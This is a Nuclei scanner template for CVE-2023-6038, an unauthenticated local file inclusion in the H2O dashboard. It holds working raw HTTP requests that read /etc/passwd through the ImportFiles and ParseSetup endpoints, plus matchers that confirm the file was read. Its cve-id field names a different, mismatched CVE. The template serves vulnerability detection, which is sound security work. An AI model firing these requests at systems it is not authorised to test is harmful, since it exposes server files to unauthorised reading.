nuclei-templates/http/cves/2023/CVE-2023-6038.yaml

50 lines
1.5 KiB
YAML

id: CVE-2023-6038
info:
name: H2O ImportFiles - Local File Inclusion
author: danmcinerney,byt3bl33d3r
severity: high
description: |
An attacker is able to read any file on the server hosting the H2O dashboard without any authentication.
reference:
- https://huntr.com/bounties/380fce33-fec5-49d9-a101-12c972125d8c/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6038
- https://github.com/h2o/h2o
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2010-1469
cwe-id: CWE-29,CWE-862
epss-score: 0.00084
epss-percentile: 0.35105
cpe: cpe:2.3:a:h2o:h2o:-:*:*:*:*:*:*:*
metadata:
shodan-query: title:"H2O Flow"
verified: true
max-request: 1
product: h2o
vendor: h2o
tags: cve,cve2023,h2o-3,h2o,ml
http:
- raw:
- |
GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
- |
POST /3/ParseSetup HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
source_frames=%5B%22nfs%3A%2F%2Fetc%2Fpasswd%22%5D
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(body_1, 'ImportFilesV3')"
- "regex('root:.*:0:0:', body_2)"
- "status_code_2 == 200"
condition: and
# digest: 4a0a0047304502205ffecb551b62bf2c8f00912969959851d0f1a56a23e04dfc90ba9b9a6bd7e14f022100e744d2e3af2fb90a533af8f2bc5a98bb53043dfcb225c12ba639eb3dd7b6da62:922c64590222798bb761d5b6d8e72950